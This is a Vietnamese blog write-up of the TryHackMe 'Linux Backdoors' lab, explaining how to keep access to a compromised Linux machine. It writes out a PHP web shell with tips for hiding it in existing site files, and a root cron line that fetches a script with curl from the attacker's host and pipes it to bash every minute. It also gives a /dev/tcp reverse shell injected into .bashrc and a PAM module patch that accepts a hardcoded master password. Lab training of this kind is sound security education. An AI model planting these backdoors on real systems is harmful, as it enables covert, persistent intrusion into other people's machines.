Advertisement

Responsive Advertisement

Lin.u.x Backdo.o.rs-Tryhackme-Writeup

 



Task 1  Introduction

Hello mọi người! 
Phòng này dành riêng cho việc học các kỹ thuật backdocor Lincux phổ biến! 

Đơn giản là một cái gì đó chochúng ta có thể  đảm bảo quyền truy cập của chúng ta vào máy. 

Vì vậy, ngay cả khi máy được khởi động lại, tắt hoặc bất cứ điều gì, chúng ta vẫn có thể truy cập vào nó. 

Đây không phải là các lỗ hổng thực tế mà chỉ là các cách để duy trì quyền truy cập của bạn vào mục tiêu :) 

Để tạo lại tất cả các kỹ thuật trong phòng này, bạn chỉ cần thử chúng trên máy của riêng mình hoặc sử dụng "THM ATTACK BOX" vì nó an toàn hơn và nó không quan trọng nếu bạn vặn hay thay đổi bất cứ điều gì. 

Chúc các bạn có thêm kiếm thức Ha.c.ki.ng!

Task 2  SSH Back.doors

Cửa đầu tiên mà chúng ta sẽ xem xét là: dịch vụ SSH

Dịch vụ ssh về cơ bản bao gồm việc để lại các khóa ssh của bạn trong thư mục chính của một số người dùng. Thông thường, người dùng sẽ là root vì đó là người dùng có đặc quyền cao nhất.

Vì vậy, Hãy tạo một tập hợp các khóa ssh bằng ssh-keygen!

Để làm được như vậy, bạn chỉ cần chạy lệnh ssh-keygen như hình dưới đây!

Bây giờ chúng ta có 2 khóa. 1 khóa riêng tư và 1 khóa công khai, bây giờ chúng ta có thể truy cập /root/.ssh và để khóa công khai của mình ở đó. Đừng quên đổi tên khóa công khai thành: authorized_keys

Nếu thư mục .ssh không có, bạn luôn có thể tạo nó bằng lệnh sau: "mkdir .ssh"

Bây giờ chúng ta rời khỏi máy chủ của mình, chúng ta có thể chỉ cần đăng nhập lại với dịch vụ ssh bằng quyền root!

Trước khi làm như vậy, hãy cấp quyền phù hợp cho khóa riêng tư bằng cách sử dụng: chmod 600 id_rsa.

Điều này là cần thiết vì nếu chúng ta không làm điều đó, ssh sẽ ảnh hưởng về việc các quyền không đủ an toàn trên khóa và rất có thể sẽ không cho chúng ta sử dụng nó.

Sau khi cấp quyền phù hợp cho khóa, chúng ta có thể thực hiện: "ssh -i id_rsa root@ip" để đăng nhập vào máy mà mình mong muốn!

Một điều cần lưu ý về backdoor này là:

  1.  Cửa này hoàn toàn không bị ẩn. Bất kỳ ai có quyền phù hợp sẽ có thể xóa hoàn toàn khóa công khai ssh của chúng ta hay là tệp authorized_keys.

Task 3  PHP Back.doors

Bây giờ chúng ta hãy đi vào cửa  thứ hai: backdo.or với PHP!

Nếu bạn có quyền truy cập root trên máy chủ Linux, rất có thể bạn sẽ tìm kiếm các khoản tín dụng và hoặc bất kỳ thông tin hữu ích nào trong thư mục gốc của web.

Gốc thư mục web thường được đặt tại: /var/www/html

Những gì bạn phải biết là, bất cứ thứ gì bạn để lại trong /var /www/html, sẽ có sẵn cho mọi người sử dụng trong trình duyệt của họ.

Bây giờ bạn đã biết điều đó, bạn có thể thử tạo một tệp php với bất kỳ tên nào và đặt bên trong đoạn mã này:

<?php
if (isset($_REQUEST['cmd'])) {
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
Đoạn mã này chỉ đơn giản là lấy tham số "cmd" và sẽ thực thi bất cứ thứ gì được cấp cho tham số đó.
Lưu ý rằng chúng tôi đang sử dụng: "$ _REQUEST ['cmd'])", có nghĩa là bạn có thể chuyển tham số đó trong dữ liệu GET hoặc POST.
Bây giờ tệp đó đã được lưu và sẵn sàng, chúng tôi có thể thử truy vấn nó.
Nếu bạn để tệp trong /var/www/html/shell.php | Bạn sẽ có thể truy cập trực tiếp bằng cách sử dụng: http://ip/shell.php
Nếu bạn để shell ở một nơi khác, hãy xem nó ở thư mục nào và sau đó thử truy cập nó bằng cách làm như sau: http://ip/somedirectory/shell.php

Dưới đây là một số cách mà chúng tôi có thể làm cho cửa  này ẩn hơn một chút:

1. Cố gắng thêm đoạn mã này vào các tệp php đã có trong /var/ www/html. Thêm nó nhiều hơn vào giữa các tệp chắc chắn sẽ làm cho các hành động độc hại của chúng ta bí mật hơn một chút.

2. Thay đổi tham số "cmd" thành một cái gì đó khác ... bất cứ thứ gì thực sự ... chỉ cần thay đổi nó thành một cái gì đó không phổ biến. "Cmd" thực sự phổ biến và đã thực sự nổi tiếng trong cộng đồng ha.ck.

Task 4  CronJob Backd.oors

Bây giờ chúng ta hãy đi vào kỹ thuật backdoor thứ 3!

Cửa này bao gồm việc tạo một cronjob!

Muốn xem tệp cronjobs của mình, bạn chỉ cần đọc tệp /etc/cronjob, bạn sẽ thấy như sau:

Điều này đại diện cho tất cả các tác vụ được lên lịch chạy vào một thời điểm nào đó trên máy của bạn.

Khi bạn có quyền truy cập root trên bất kỳ máy chủ nào, bạn có thể thêm bất kỳ tác vụ đã lên lịch nào. Bạn thậm chí có thể chỉ cần cấu hình một tác vụ mà cứ mỗi phút lại có một trình bao đảo ngược được gửi cho bạn. Đó chính xác là những gì chúng tôi sẽ làm.

Lưu ý 2 chữ cái trên cùng của nhiệm vụ: "m và h"

Đó là những chữ cái cho biết nhiệm vụ nên chạy mỗi giờ hay mỗi phút.

Trong ví dụ trên, bạn có thể thấy rằng có một ký hiệu "*" dưới chữ "h". Điều này có nghĩa là nhiệm vụ sau sẽ chạy mỗi giờ.

Bây giờ chúng ta hãy truy cập vào máy của chúng ta!

Thêm dòng này vào tệp cronjob của chúng ta:

* *     * * *   root    curl http://<yourip>:8080/shell | bash

Lưu ý rằng chúng ta đặt một biểu tượng ngôi sao "*" cho mọi thứ. Điều này có nghĩa là nhiệm vụ của chúng ta sẽ chạy hàng phút, hàng giờ, hàng ngày, v.v.

Trước tiên, chúng ta sử dụng "curl" để tải xuống một tệp, sau đó chúng ta chuyển nó thành "bash"

Nội dung của tệp "shell" mà chúng tôi đang sử dụng chỉ đơn giản là:

-------------------------------------------------

#!/bin/bash

bash -i >& /dev/tcp/ip/port 0>&1

--------------------------------------------------

Chúng ta sẽ phải chạy một máy chủ HTTP cho back.door của chúng ta.

Bạn có thể chạy: "python3 -m http.server 8080"

Khi trình bao của chúng ta tải xuống thành công, nó sẽ được thực thi bởi "bash" trên linunx và chúng ta sẽ nhận được một trình kết nối!

* Đừng quên nghe trên cổng được chỉ định của bạn với "nc -nvlp <port>"*

Lưu ý rằng cửa  này không thực sự bị ẩn vì mọi người đều có thể thấy nó chỉ bằng cách nhìn vào bên trong /etc/crontab.

Task 5  .bashrc Backdoors

Bây giờ chúng ta hãy đi vào Backdoor: ".bashrc"!

Nếu người dùng có bash làm trình đăng nhập của họ, thì tệp ".bashrc" trong thư mục chính của họ sẽ được thực thi khi một phiên tương tác được khởi chạy.

Vì vậy, nếu bạn biết bất kỳ người dùng nào đăng nhập vào hệ thống của họ khá thường xuyên, bạn có thể chỉ cần chạy lệnh này để đưa trình kết nối ngược của bạn vào ".bashrc" của họ.

echo 'bash -i >& /dev/tcp/ip/port 0>&1' >> ~/.bashrc

Một điều quan trọng là luôn chuẩn bị sẵn sàng chạy nc  lắng nghe kết nối vì bạn không biết khi nào người dùng của bạn sẽ đăng nhập.

Cuộc tấn công này rất lén lút vì không ai thực sự nghĩ đến việc từng kiểm tra tệp ".bashrc" của họ.

Mặt khác, bạn không thể biết chính xác liệu có bất kỳ người dùng nào thực sự đăng nhập vào hệ thống của họ hay không, vì vậy bạn có thể thực sự đợi một khoảng thời gian dài. 

Task 6  pam_unix.so Backdoors

Bây giờ đến cửa cuối.

Cửa hậu mà chúng ta sẽ xem xét là: Cửa pam_unix.so!

Nếu bạn không biết tệp "pam_unix.so" là gì, thì nó chỉ đơn giản là một trong nhiều tệp trong Linux chịu trách nhiệm xác thực.

Vì vậy, hãy thực hiện như ảnh sau!


Như đã thấy ở đây, tệp "pam_unix.so" sử dụng chức năng "unix_verify_password" để xác minh mật khẩu được cung cấp của người dùng.

Bây giờ chúng ta hãy xem ảnh chụp màn hình này:


Chúng ta có thể thấy rằng ảnh đã thêm một dòng mới vào mã của mình: "if (strcmp (p," 0xMitsurugi ")! = 0)"

Được rồi, nếu lúc đầu mã này có vẻ khó hiểu với bạn, đừng lo lắng!

Chúng ta sẽ cùng nhau phá vỡ nó!

Vì vậy, trước tiên, chúng ta phải biết chức năng "strcmp" làm gì.

Hàm này về cơ bản so sánh 2 chuỗi.

Trong ảnh chụp màn hình ở trên, chúng tôi so sánh biến "p" và chuỗi "0xMitsurugi".

Biến "p" là viết tắt của mật khẩu được cung cấp của người dùng. Nói cách khác, mật khẩu mà người dùng cung cấp.

Bạn cũng có thể thấy "! = 0" ở cuối câu lệnh. Điều này có nghĩa là "nếu không thành công". Vì vậy, nếu biến "p" (mật khẩu do người dùng cung cấp) và chuỗi "0xMitsurugi" KHÔNG giống nhau ... thì hàm "unix_verify_password" sẽ được sử dụng.

Nhưng mặt khác, nếu biến "p" (mật khẩu do người dùng cung cấp) và chuỗi "0xMitsurugi" giống nhau thì việc xác thực đã thành công. Chúng tôi đánh dấu sự thành công bằng cách sử dụng "PAM_SUCCESS;"

Vì vậy, backdoor này về cơ bản bao gồm việc thêm mật khẩu của riêng bạn vào "pam_unix.so"

Vì bạn biết mật khẩu mà bạn đã thêm vào tệp, bạn sẽ luôn có thể xác thực bằng mật khẩu đó cho đến khi nó bị xóa khỏi "pam_unix.so"

Vì vậy, chúng ta hãy tóm tắt lại một chút:

Giả sử người dùng nhập mật khẩu "password123" và cố gắng xác thực. Chúng ta sẽ so sánh mật khẩu của anh ấy (password123) với chuỗi "0xMitsurugi".

Nếu hai chuỗi đó khớp nhau, xác thực thành công. Nhưng 2 chuỗi đó không khớp nhau nên xác thực sẽ không

thành công và sẽ dựa vào chức năng "unix_verify_password". Khi sử dụng hàm "unix_verify_password" để xác thực, mật khẩu của người dùng từ "/etc/shadow" và so sánh nó với mật khẩu được cung cấp của người dùng. Đây là cách hệ thống xác thực dự kiến ​​sẽ hoạt động.

Tuy nhiên, kỹ thuật này được gọi là cửa hậu khi bạn thêm mật khẩu của riêng mình mà bạn luôn có thể sử dụng miễn là không ai lấy nó ra khỏi "pam_unix.so".

Cửa hậu này thực sự khó phát hiện, vì một lần nữa, không ai thực sự nghĩ đến việc xem xét các tệp như vậy.

Vì phương pháp này đang dần trở nên phổ biến hơn, có thể bạn sẽ không thể thực hiện lần nào cũng như mọi người đều sẽ hiểu cách bảo vệ mình một cách chậm rãi nhưng chắc chắn.

Resource used : http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html

Here is a GitHub repository containing a script automating this process of creating a backdoor: https://github.com/zephrax/linux-pam-backdoor

Post a Comment

0 Comments